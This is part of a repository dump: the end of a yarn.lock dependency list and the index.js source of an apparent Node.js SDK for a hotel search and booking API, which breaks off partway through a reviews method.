"https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz" 236 | integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ== 237 | 238 | is-fullwidth-code-point@^3.0.0: 239 | version "3.0.0" 240 | resolved "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz" 241 | integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg== 242 | 243 | is-glob@^4.0.1, is-glob@~4.0.1: 244 | version "4.0.3" 245 | resolved "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz" 246 | integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg== 247 | dependencies: 248 | is-extglob "^2.1.1" 249 | 250 | is-number@^7.0.0: 251 | version "7.0.0" 252 | resolved "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz" 253 | integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng== 254 | 255 | is-plain-obj@^2.1.0: 256 | version "2.1.0" 257 | resolved "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz" 258 | integrity sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA== 259 | 260 | is-unicode-supported@^0.1.0: 261 | version "0.1.0" 262 | resolved "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz" 263 | integrity sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw== 264 | 265 | js-yaml@^4.1.0: 266 | version "4.1.0" 267 | resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz" 268 | integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA== 269 | dependencies: 270 | argparse "^2.0.1" 271 | 272 | liteapi-node-sdk@^3.0.4, liteapi-node-sdk@^3.2.0: 273 | version "3.2.0" 274 | resolved "https://registry.npmjs.org/liteapi-node-sdk/-/liteapi-node-sdk-3.2.0.tgz" 275 | integrity sha512-pPb0u4cuecbLPnN0IqNcOL8M2PM0gG8kTlf0mhcMaF+84WDthF6QWv3iEp6CuuG/1fuVgsbYk6MpUIyWnmOocw== 276 | dependencies: 277 | liteapi-node-sdk "^3.0.4" 278 | 279 | locate-path@^6.0.0: 280 | version "6.0.0" 281 | resolved "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz" 282 | integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw== 283 | dependencies: 284 | p-locate "^5.0.0" 285 | 286 | log-symbols@^4.1.0: 287 | version "4.1.0" 288 | resolved "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz" 289 | integrity sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg== 290 | dependencies: 291 | chalk "^4.1.0" 292 | is-unicode-supported "^0.1.0" 293 | 294 | minimatch@^5.0.1, minimatch@^5.1.6: 295 | version "5.1.6" 296 | resolved "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz" 297 | integrity sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g== 298 | dependencies: 299 | brace-expansion "^2.0.1" 300 | 301 | mocha@^10.7.3: 302 | version "10.7.3" 303 | resolved "https://registry.npmjs.org/mocha/-/mocha-10.7.3.tgz" 304 | integrity sha512-uQWxAu44wwiACGqjbPYmjo7Lg8sFrS3dQe7PP2FQI+woptP4vZXSMcfMyFL/e1yFEeEpV4RtyTpZROOKmxis+A== 305 | dependencies: 306 | ansi-colors "^4.1.3" 307 | browser-stdout "^1.3.1" 308 | chokidar "^3.5.3" 309 | debug "^4.3.5" 310 | diff "^5.2.0" 311 | escape-string-regexp "^4.0.0" 312 | find-up "^5.0.0" 313 | glob "^8.1.0" 314 | he "^1.2.0" 315 | js-yaml "^4.1.0" 316 | log-symbols "^4.1.0" 317 | minimatch "^5.1.6" 318 | ms "^2.1.3" 319 | serialize-javascript "^6.0.2" 320 | strip-json-comments "^3.1.1" 321 | supports-color "^8.1.1" 322 | workerpool "^6.5.1" 323 | yargs "^16.2.0" 324 | yargs-parser "^20.2.9" 325 | yargs-unparser "^2.0.0" 326 | 327 | ms@^2.1.3: 328 | version "2.1.3" 329 | resolved "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz" 330 | integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== 331 | 332 | normalize-path@^3.0.0, normalize-path@~3.0.0: 333 | version "3.0.0" 334 | resolved "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz" 335 | integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA== 336 | 337 | once@^1.3.0: 338 | version "1.4.0" 339 | resolved "https://registry.npmjs.org/once/-/once-1.4.0.tgz" 340 | integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w== 341 | dependencies: 342 | wrappy "1" 343 | 344 | p-limit@^3.0.2: 345 | version "3.1.0" 346 | resolved "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz" 347 | integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ== 348 | dependencies: 349 | yocto-queue "^0.1.0" 350 | 351 | p-locate@^5.0.0: 352 | version "5.0.0" 353 | resolved "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz" 354 | integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw== 355 | dependencies: 356 | p-limit "^3.0.2" 357 | 358 | path-exists@^4.0.0: 359 | version "4.0.0" 360 | resolved "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz" 361 | integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== 362 | 363 | picomatch@^2.0.4, picomatch@^2.2.1: 364 | version "2.3.1" 365 | resolved "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz" 366 | integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA== 367 | 368 | randombytes@^2.1.0: 369 | version "2.1.0" 370 | resolved "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz" 371 | integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ== 372 | dependencies: 373 | safe-buffer "^5.1.0" 374 | 375 | readdirp@~3.6.0: 376 | version "3.6.0" 377 | resolved "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz" 378 | integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA== 379 | dependencies: 380 | picomatch "^2.2.1" 381 | 382 | require-directory@^2.1.1: 383 | version "2.1.1" 384 | resolved "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz" 385 | integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q== 386 | 387 | safe-buffer@^5.1.0: 388 | version "5.2.1" 389 | resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz" 390 | integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== 391 | 392 | serialize-javascript@^6.0.2: 393 | version "6.0.2" 394 | resolved "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz" 395 | integrity sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g== 396 | dependencies: 397 | randombytes "^2.1.0" 398 | 399 | string-width@^4.1.0, string-width@^4.2.0: 400 | version "4.2.3" 401 | resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz" 402 | integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== 403 | dependencies: 404 | emoji-regex "^8.0.0" 405 | is-fullwidth-code-point "^3.0.0" 406 | strip-ansi "^6.0.1" 407 | 408 | strip-ansi@^6.0.0, strip-ansi@^6.0.1: 409 | version "6.0.1" 410 | resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz" 411 | integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A== 412 | dependencies: 413 | ansi-regex "^5.0.1" 414 | 415 | strip-json-comments@^3.1.1: 416 | version "3.1.1" 417 | resolved "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz" 418 | integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig== 419 | 420 | supports-color@^7.1.0: 421 | version "7.2.0" 422 | resolved "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz" 423 | integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw== 424 | dependencies: 425 | has-flag "^4.0.0" 426 | 427 | supports-color@^8.1.1: 428 | version "8.1.1" 429 | resolved "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz" 430 | integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q== 431 | dependencies: 432 | has-flag "^4.0.0" 433 | 434 | to-regex-range@^5.0.1: 435 | version "5.0.1" 436 | resolved "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz" 437 | integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ== 438 | dependencies: 439 | is-number "^7.0.0" 440 | 441 | workerpool@^6.5.1: 442 | version "6.5.1" 443 | resolved "https://registry.npmjs.org/workerpool/-/workerpool-6.5.1.tgz" 444 | integrity sha512-Fs4dNYcsdpYSAfVxhnl1L5zTksjvOJxtC5hzMNl+1t9B8hTJTdKDyZ5ju7ztgPy+ft9tBFXoOlDNiOT9WUXZlA== 445 | 446 | wrap-ansi@^7.0.0: 447 | version "7.0.0" 448 | resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz" 449 | integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q== 450 | dependencies: 451 | ansi-styles "^4.0.0" 452 | string-width "^4.1.0" 453 | strip-ansi "^6.0.0" 454 | 455 | wrappy@1: 456 | version "1.0.2" 457 | resolved "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz" 458 | integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ== 459 | 460 | y18n@^5.0.5: 461 | version "5.0.8" 462 | resolved "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz" 463 | integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA== 464 | 465 | yargs-parser@^20.2.2, yargs-parser@^20.2.9: 466 | version "20.2.9" 467 | resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz" 468 | integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w== 469 | 470 | yargs-unparser@^2.0.0: 471 | version "2.0.0" 472 | resolved "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz" 473 | integrity sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA== 474 | dependencies: 475 | camelcase "^6.0.0" 476 | decamelize "^4.0.0" 477 | flat "^5.0.2" 478 | is-plain-obj "^2.1.0" 479 | 480 | yargs@^16.2.0: 481 | version "16.2.0" 482 | resolved "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz" 483 | integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw== 484 | dependencies: 485 | cliui "^7.0.2" 486 | escalade "^3.1.1" 487 | get-caller-file "^2.0.5" 488 | require-directory "^2.1.1" 489 | string-width "^4.2.0" 490 | y18n "^5.0.5" 491 | yargs-parser "^20.2.2" 492 | 493 | yocto-queue@^0.1.0: 494 | version "0.1.0" 495 | resolved "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz" 496 | integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q== 497 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | class LiteApi { 2 | constructor(apiKey) { 3 | this.apiKey = apiKey; 4 | this.serviceURL = "https://api.liteapi.travel/v3.0"; 5 | this.bookServiceURL = "https://book.liteapi.travel/v3.0"; 6 | this.dashboardURL = 'https://da.liteapi.travel'; 7 | } 8 | /** 9 | * The Full Rates API is to search and return all available rooms along with its rates, cancellation policies for a list of hotel ID's based on the search dates. 10 | For each hotel ID, all available room information is returned. 11 | The API also has a built in loyalty rewards system. The system rewards return users who have made prior bookings. 12 | If the search is coming from a known guest ID, the guest level is also returned along with the pricing that's appropriate for the guest level. 13 | If it is a new user, the guest ID will be generated at the time of the first confirmed booking. 14 | * @param {object} data - The search criteria object. 15 | * @returns {object} - The result of the operation. 16 | */ 17 | async getFullRates(data) { 18 | const options = { 19 | method: 'POST', 20 | headers: { 21 | accept: 'application/json', 22 | 'content-type': 'application/json', 23 | 'X-API-Key': this.apiKey 24 | }, 25 | body: JSON.stringify(data) 26 | }; 27 | const response = await fetch(this.serviceURL + '/hotels/rates', options); 28 | const result = await response.json(); 29 | 30 | if (!response.ok) { 31 | return { 32 | "status": "failed", 33 | "error": result.error 34 | } 35 | } 36 | 37 | return { 38 | "status": "success", 39 | "data": result 40 | } 41 | } 42 | 43 | async getMinRates(data) { 44 | const options = { 45 | method: 'POST', 46 | headers: { 47 | accept: 'application/json', 48 | 'content-type': 'application/json', 49 | 'X-API-Key': this.apiKey 50 | }, 51 | body: JSON.stringify(data) 52 | }; 53 | const response = await fetch(this.serviceURL + '/hotels/min-rates', options); 54 | const result = await response.json(); 55 | 56 | if (!response.ok) { 57 | return { 58 | "status": "failed", 59 | "error": result.error 60 | } 61 | } 62 | 63 | return { 64 | "status": "success", 65 | "data": result 66 | } 67 | } 68 | /** 69 | * This API is used to confirm if the room and rates for the search criterion. The input to the endpoint is an array of rate Ids coming from the GET hotel full rates availability API. 70 | * In response, the API generates a prebook Id, a new rate Id and contains information if price, cancellation policy or boarding information has changed. 71 | * @param {array} data - The input parameters for the API 72 | * @returns {object} - The result of the operation. 73 | */ 74 | async preBook(data) { 75 | let errors = []; 76 | if (typeof data !== 'object' || typeof data.offerId !== 'string' || !data.offerId) { 77 | errors.push("The offerId is required"); 78 | } 79 | if (errors.length > 0) { 80 | return { 81 | "status": "failed", 82 | "errors": errors 83 | } 84 | } 85 | const options = { 86 | method: 'POST', 87 | headers: { 88 | accept: 'application/json', 89 | 'content-type': 'application/json', 90 | 'X-API-Key': this.apiKey 91 | }, 92 | body: JSON.stringify(data) 93 | }; 94 | const response = await fetch(this.bookServiceURL + '/rates/prebook', options); 95 | const result = await response.json(); 96 | if (!response.ok) { 97 | return { 98 | "status": "failed", 99 | "error": result.error 100 | } 101 | } 102 | 103 | return { 104 | "status": "success", 105 | "data": result.data 106 | } 107 | } 108 | /** 109 | * This API confirms a booking when the prebook Id and the rate Id from the pre book stage along with the guest and payment information are passed. 110 | 111 | The guest information is an object that should include the guest first name, last name and email. 112 | 113 | The payment information is an object that should include the name, credit card number, expiry and CVC number. 114 | 115 | The response will confirm the booking along with a booking Id and a hotel confirmation code. It will also include the booking details including the dates, price and the cancellation policies. 116 | * 117 | * @param {object} data - the API request parameters 118 | */ 119 | async book(data) { 120 | let errors = []; 121 | if (typeof data !== 'object' || typeof data.prebookId !== 'string' || !data.prebookId) { 122 | errors.push("The offerId is required"); 123 | } 124 | if (errors.length > 0) { 125 | return { 126 | "status": "failed", 127 | "errors": errors 128 | } 129 | } 130 | const options = { 131 | method: 'POST', 132 | headers: { 133 | accept: 'application/json', 134 | 'content-type': 'application/json', 135 | 'X-API-Key': this.apiKey 136 | }, 137 | body: JSON.stringify(data) 138 | }; 139 | const response = await fetch(this.bookServiceURL + '/rates/book', options) 140 | const result = await response.json(); 141 | if (!response.ok) { 142 | return { 143 | "status": "failed", 144 | "error": result.error 145 | } 146 | } 147 | 148 | return { 149 | "status": "success", 150 | "data": result.data 151 | } 152 | } 153 | /** 154 | * The API returns the list of booking Id's for a given guest Id. 155 | * @param {string} clientReference - required guestId or clientReference 156 | * @returns {object} - The result of the operation. 157 | */ 158 | async getBookingsList(clientReference) { 159 | 160 | const options = { 161 | method: 'GET', 162 | headers: { 163 | accept: 'application/json', 164 | 'content-type': 'application/json', 165 | 'X-API-Key': this.apiKey 166 | }, 167 | }; 168 | const response = await fetch(this.bookServiceURL + '/bookings?clientReference=' + clientReference , options) 169 | const data = await response.json(); 170 | if (!response.ok) { 171 | return { 172 | "status": "failed", 173 | "error": data.error 174 | } 175 | } 176 | return { 177 | "status": "success", 178 | "data": data.data 179 | } 180 | } 181 | /** 182 | * The API returns the status and the details for the a specific booking Id. 183 | * @param {string} bookingId - The Booking Id that needs to be retrieved. 184 | * @returns {object} - The result of the operation. 185 | */ 186 | async retrieveBooking(bookingId) { 187 | let errors = []; 188 | if (bookingId == "" || bookingId === undefined) { 189 | errors.push("The booking ID is required"); 190 | } 191 | 192 | if (errors.length > 0) { 193 | return { 194 | "status": "failed", 195 | "errors": errors 196 | } 197 | } 198 | const options = { 199 | method: 'GET', 200 | headers: { 201 | accept: 'application/json', 202 | 'content-type': 'application/json', 203 | 'X-API-Key': this.apiKey 204 | }, 205 | }; 206 | const response = await fetch(this.bookServiceURL + '/bookings/' + bookingId, options) 207 | const data = await response.json(); 208 | if (!response.ok) { 209 | return { 210 | "status": "failed", 211 | "error": data.error 212 | } 213 | } 214 | return { 215 | "status": "success", 216 | "data": data.data 217 | } 218 | } 219 | /** 220 | * This API is used to request a cancellation of an existing confirmed booking. Cancellation policies and conditions will be used to determine the success of the cancellation. For example a booking with non-refundable (NRFN) tag or a booking with a cancellation policy that was requested past the cancellation date will not be able to cancel the confirmed booking. 221 | * @param {string} bookingId - (Required) The unique identifier of the booking you would like to update.. 222 | * @returns {object} - The result of the operation. 223 | */ 224 | async cancelBooking(bookingId) { 225 | let errors = []; 226 | if (bookingId == "" || bookingId === undefined) { 227 | errors.push("The booking ID is required"); 228 | } 229 | 230 | if (errors.length > 0) { 231 | return { 232 | "status": "failed", 233 | "errors": errors 234 | } 235 | } 236 | const options = { 237 | method: 'PUT', 238 | headers: { 239 | accept: 'application/json', 240 | 'content-type': 'application/json', 241 | 'X-API-Key': this.apiKey 242 | }, 243 | }; 244 | const response = await fetch(this.bookServiceURL + '/bookings/' + bookingId, options) 245 | const data = await response.json(); 246 | if (!response.ok) { 247 | return { 248 | "status": "failed", 249 | "error": data.error 250 | } 251 | } 252 | return { 253 | "status": "success", 254 | "data": data.data 255 | } 256 | } 257 | /** 258 | * The API returns a list of city names from a specific country. The country codes needs be is in ISO-2 format. To get the country codes in ISO-2 for all countries please use the GET Country list endpoint 259 | * @param {string} countryCode - Country code in iso-2 format (example: SG) 260 | * @returns {array} - The result of the operation. 261 | */ 262 | async getCitiesByCountryCode(countryCode) { 263 | let errors = []; 264 | if (countryCode == "" || countryCode === undefined) { 265 | errors.push("The country code is required"); 266 | } 267 | 268 | const options = { 269 | method: 'GET', 270 | headers: { 271 | accept: 'application/json', 272 | 'content-type': 'application/json', 273 | 'X-API-Key': this.apiKey 274 | }, 275 | }; 276 | const response = await fetch(this.serviceURL + '/data/cities?countryCode=' + countryCode, options) 277 | const data = await response.json(); 278 | if (!response.ok) { 279 | return { 280 | "status": "failed", 281 | "error": data.error 282 | } 283 | } 284 | return { 285 | "status": "success", 286 | "data": data.data 287 | } 288 | } 289 | /** 290 | * Look up for a list of places and areas, given a search query. Places can be used to search for hotels within a location and restrict the list to results within the boundaries of a selected place. 291 | * @param {string} textQuery - Search query. e.g. 'Manhattan' 292 | * * @param {string} type - Restricts the results to places matching the specified type. e.g. 'hotel' 293 | * * @param {string} language - The language code, indicating in which language the results should be returned. e.g. 'en' 294 | * @returns {array} - The result of the operation. 295 | */ 296 | async getPlaces(textQuery, type, language) { 297 | const options = { 298 | method: 'GET', 299 | headers: { 300 | accept: 'application/json', 301 | 'content-type': 'application/json', 302 | 'X-API-Key': this.apiKey 303 | }, 304 | }; 305 | const response = await fetch(this.serviceURL + '/data/places?textQuery=' + encodeURIComponent(textQuery) + '&type=' + (type ? encodeURIComponent(type) : '') + '&language=' + (language || 'en'), options); 306 | 307 | const data = await response.json(); 308 | 309 | if (!response.ok) { 310 | return { 311 | "status": "failed", 312 | "error": data.error 313 | } 314 | } 315 | 316 | return { 317 | "status": "success", 318 | "data": data.data 319 | } 320 | } 321 | /** 322 | * The API returns all available currency codes along with its name and the list of supported countries that the currency applies to. 323 | * @returns {array} - The result of the operation. 324 | */ 325 | async getCurrencies() { 326 | 327 | const options = { 328 | method: 'GET', 329 | headers: { 330 | accept: 'application/json', 331 | 'content-type': 'application/json', 332 | 'X-API-Key': this.apiKey 333 | }, 334 | }; 335 | const response = await fetch(this.serviceURL + '/data/currencies', options) 336 | const data = await response.json(); 337 | if (!response.ok) { 338 | return { 339 | "status": "failed", 340 | "error": data.error 341 | } 342 | } 343 | return { 344 | "status": "success", 345 | "data": data.data 346 | } 347 | } 348 | /** 349 | * The API returns the list of hotel facilities available in the system. 350 | * @returns {array} - The result of the operation. 351 | */ 352 | async getHotelFacilities() { 353 | 354 | const options = { 355 | method: 'GET', 356 | headers: { 357 | accept: 'application/json', 358 | 'content-type': 'application/json', 359 | 'X-API-Key': this.apiKey 360 | }, 361 | }; 362 | const response = await fetch(this.serviceURL + '/data/facilities', options) 363 | const data = await response.json(); 364 | if (!response.ok) { 365 | return { 366 | "status": "failed", 367 | "error": data.error 368 | } 369 | } 370 | return { 371 | "status": "success", 372 | "data": data.data 373 | } 374 | } 375 | /** 376 | * The API returns a list of available hotel types. 377 | * @returns {array} - The result of the operation. 378 | */ 379 | async getHotelTypes() { 380 | 381 | const options = { 382 | method: 'GET', 383 | headers: { 384 | accept: 'application/json', 385 | 'content-type': 'application/json', 386 | 'X-API-Key': this.apiKey 387 | }, 388 | }; 389 | const response = await fetch(this.serviceURL + '/data/hotelTypes', options) 390 | const data = await response.json(); 391 | if (!response.ok) { 392 | return { 393 | "status": "failed", 394 | "error": data.error 395 | } 396 | } 397 | return { 398 | "status": "success", 399 | "data": data.data 400 | } 401 | } 402 | /** 403 | * The API returns a list of available hotel chains. 404 | * @returns {array} - The result of the operation. 405 | */ 406 | async getHotelChains() { 407 | 408 | const options = { 409 | method: 'GET', 410 | headers: { 411 | accept: 'application/json', 412 | 'content-type': 'application/json', 413 | 'X-API-Key': this.apiKey 414 | }, 415 | }; 416 | const response = await fetch(this.serviceURL + '/data/chains', options) 417 | const data = await response.json(); 418 | if (!response.ok) { 419 | return { 420 | "status": "failed", 421 | "error": data.error 422 | } 423 | } 424 | return { 425 | "status": "success", 426 | "data": data.data 427 | } 428 | } 429 | /** 430 | * This API endpoint returns a list of hotels available based on different search criterion. 431 | * The minimum required information is the country code in ISO-2 format. The API supports additional search criteria such as city name, geo coordinates, and radius. 432 | * This endpoint provides detailed hotel metadata, including names, addresses, ratings, amenities, and images, facilitating robust hotel search and display features within applications. 433 | * @param {string} parameters - The search criteria parameters. 434 | * @param {string} language - Language code for the response (optional) 435 | * @returns {array} - The result of the operation. 436 | */ 437 | async getHotels(parameters, language, retries = 3, delay = 1000) { 438 | const options = { 439 | method: "GET", 440 | headers: { 441 | accept: "application/json", 442 | "content-type": "application/json", 443 | "X-API-Key": this.apiKey, 444 | }, 445 | }; 446 | 447 | const query = new URLSearchParams(parameters || {}).toString(); 448 | const languageQuery = language 449 | ? "&language=" + encodeURIComponent(language) 450 | : ""; 451 | 452 | try { 453 | const response = await fetch( 454 | this.serviceURL + "/data/hotels?" + query + languageQuery, 455 | options 456 | ); 457 | const data = await response.json(); 458 | 459 | if (!response.ok) { 460 | // Check specifically for rate limit errors 461 | if ( 462 | response.status === 429 || 463 | (data.error && data.error.code === 4290) 464 | ) { 465 | if (retries > 0) { 466 | console.log( 467 | `Rate limit hit. Retrying after ${delay}ms. Retries left: ${retries}` 468 | ); 469 | await new Promise((resolve) => setTimeout(resolve, delay)); 470 | // Exponential backoff - double the delay for next retry 471 | return this.getHotels(parameters, language, retries - 1, delay * 2); 472 | } 473 | } 474 | 475 | return { 476 | status: "failed", 477 | error: data.error, 478 | }; 479 | } 480 | 481 | return { 482 | status: "success", 483 | data: data.data, 484 | }; 485 | } catch (error) { 486 | return { 487 | status: "failed", 488 | error: { 489 | message: error.message || "Unknown error occurred", 490 | }, 491 | }; 492 | } 493 | } 494 | /** 495 | * The hotel details API returns all the static contents details of a hotel or property if the hotel ID is provided. The static content include name, description, address, amenities, cancellation policies, images and more. 496 | * @param {string} hotelId - Unique ID of a hotel 497 | * @param {string} language - Language code for the response (optional) 498 | * @returns {array} - The result of the operation. 499 | */ 500 | async getHotelDetails(hotelId, language) { 501 | let errors = []; 502 | if (hotelId == "" || hotelId === undefined) { 503 | errors.push("The Hotel code is required"); 504 | } 505 | 506 | const options = { 507 | method: 'GET', 508 | headers: { 509 | accept: 'application/json', 510 | 'content-type': 'application/json', 511 | 'X-API-Key': this.apiKey 512 | }, 513 | }; 514 | const response = await fetch(this.serviceURL + '/data/hotel?hotelId=' + hotelId + (language ? '&language=' + encodeURIComponent(language) : ''), options) 515 | const data = await response.json(); 516 | if (!response.ok) { 517 | return { 518 | "status": "failed", 519 | "error": data.error 520 | } 521 | } 522 | return { 523 | "status": "success", 524 | "data": data.data 525 | } 526 | } 527 | 528 | /** 529 | * Retrieves a list of reviews for a specific hotel identified by hotelId. 530 | * @deprecated This method is deprecated and will be removed in future versions. Use `getDataReviews` instead. 531 | * @param {string} hotelId - Unique ID of a hotel 532 | * @param {number} limit - Limit number of reviews (max 1000) 533 | * @param {boolean} getSentiment - If set to true, the sentiment analysis of the review text will be returned 534 | * @returns {object} - The reviews and sentiment analysis of the hotel 535 | */ 536 | async getHotelReviews(hotelId, limit, getSentiment) { 537 | return await this.getDataReviews(hotelId, limit, getSentiment); 538 | } 539 | 540 | /** 541 | * Retrieves a list of reviews for a specific hotel identified by hotelId 542 | * @param {string} hotelId - Unique ID of a hotel 543 | * @param {number} limit - limit number of reviews (max 1000) 544 | * @param {boolean} getSentiment - If set to true, the sentiment analysis of the review text will be returned 545 | * @returns {object} - The reviews and sentiment analysis of the hotel 546 | */ 547 | async getDataReviews(hotelId, limit, getSentiment) { 548 | let errors = []; 549 | if (!hotelId) { 550 | errors.push("The Hotel code is required"); 551 | } 552 | 553 | if (errors.length > 0) { 554 | return { 555 | "status": "failed", 556 | "errors": errors 557 | }; 558 | } 559 | 